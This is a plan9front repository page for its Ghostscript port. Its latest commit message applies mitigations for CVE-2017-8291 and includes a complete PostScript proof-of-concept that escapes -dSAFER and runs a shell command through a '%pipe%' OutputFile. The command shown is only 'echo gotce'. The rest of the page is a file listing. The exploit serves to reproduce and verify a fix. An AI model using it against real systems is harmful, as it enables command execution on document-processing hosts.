plan9front/sys/src/cmd/gs
cinap_lenrek 0af7d1fe35 gs: apply mitigations against CVE-2017-8291 (thanks jsmoody)
To reproduce:
gs -q -dNOPAUSE -dSAFER '-sDEVICE=ppmraw' '-sOutputFile=/dev/null' <<.
%!PS-Adobe-3.0 EPSF-3.0
%%BoundingBox: -0 -0 100 100


/size_from  10000      def
/size_step    500      def
/size_to   65000      def
/enlarge    1000      def

%/bigarr 65000 array def

0
size_from size_step size_to {
    pop
    1 add
} for

/buffercount exch def

/buffersizes buffercount array def


0
size_from size_step size_to {
    buffersizes exch 2 index exch put
    1 add
} for
pop

/buffers buffercount array def

0 1 buffercount 1 sub {
    /ind exch def
    buffersizes ind get /cursize exch def
    cursize string /curbuf exch def
    buffers ind curbuf put
    cursize 16 sub 1 cursize 1 sub {
        curbuf exch 255 put
    } for
} for


/buffersearchvars [0 0 0 0 0] def
/sdevice [0] def

enlarge array aload

{
    .eqproc
    buffersearchvars 0 buffersearchvars 0 get 1 add put
    buffersearchvars 1 0 put
    buffersearchvars 2 0 put
    buffercount {
        buffers buffersearchvars 1 get get
        buffersizes buffersearchvars 1 get get
        16 sub get
        254 le {
            buffersearchvars 2 1 put
            buffersearchvars 3 buffers buffersearchvars 1 get get put
            buffersearchvars 4 buffersizes buffersearchvars 1 get get 16 sub put
        } if
        buffersearchvars 1 buffersearchvars 1 get 1 add put
    } repeat

    buffersearchvars 2 get 1 ge {
        exit
    } if
    %(.) print
} loop

.eqproc
.eqproc
.eqproc
sdevice 0
currentdevice
buffersearchvars 3 get buffersearchvars 4 get 16#7e put
buffersearchvars 3 get buffersearchvars 4 get 1 add 16#12 put
buffersearchvars 3 get buffersearchvars 4 get 5 add 16#ff put
put


buffersearchvars 0 get array aload

sdevice 0 get
16#3e8 0 put

sdevice 0 get
16#3b0 0 put

sdevice 0 get
16#3f0 0 put


currentdevice null false mark /OutputFile (%pipe%echo gotce)
.putdeviceparams
1 true .outputpage
.rsdparams
%{ } loop
0 0 .quit
%asdf

.
2019-06-21 18:57:20 +02:00
..
doc
examples
icclib all: typo fixes from ray@raylai.com 2014-11-07 10:39:50 -08:00
jpeg rename ape manpages so they dont get filtered out as object files 2011-05-04 06:19:09 +00:00
lib gs: apply fixes for CVE-2018-16509 (thanks jsmoody) 2019-05-23 14:59:28 +02:00
libpng rename ape manpages so they dont get filtered out as object files 2011-05-04 06:19:09 +00:00
man rename ape manpages so they dont get filtered out as object files 2011-05-04 06:19:09 +00:00
src gs: apply mitigations against CVE-2017-8291 (thanks jsmoody) 2019-06-21 18:57:20 +02:00
zlib rename ape manpages so they dont get filtered out as object files 2011-05-04 06:19:09 +00:00
arch.h gs: arm64 support 2019-05-03 21:10:45 +02:00
arm.h
contrib9.mak
default.386.h
default.amd64.h gs: arm64 support 2019-05-03 21:10:45 +02:00
default.arm.h
default.arm64.h gs: arm64 support 2019-05-03 21:10:45 +02:00
default.mips.h
default.power.h
default.spim.h gs: fix build for objtype=spim 2015-08-08 08:31:49 +02:00
fixSAFER.ed
mips.h
mkfile gs: replace openssl aes implementation with ape/libsec 2016-04-11 20:27:50 +02:00
power.h
spim.h gs: fix build for objtype=spim 2015-08-08 08:31:49 +02:00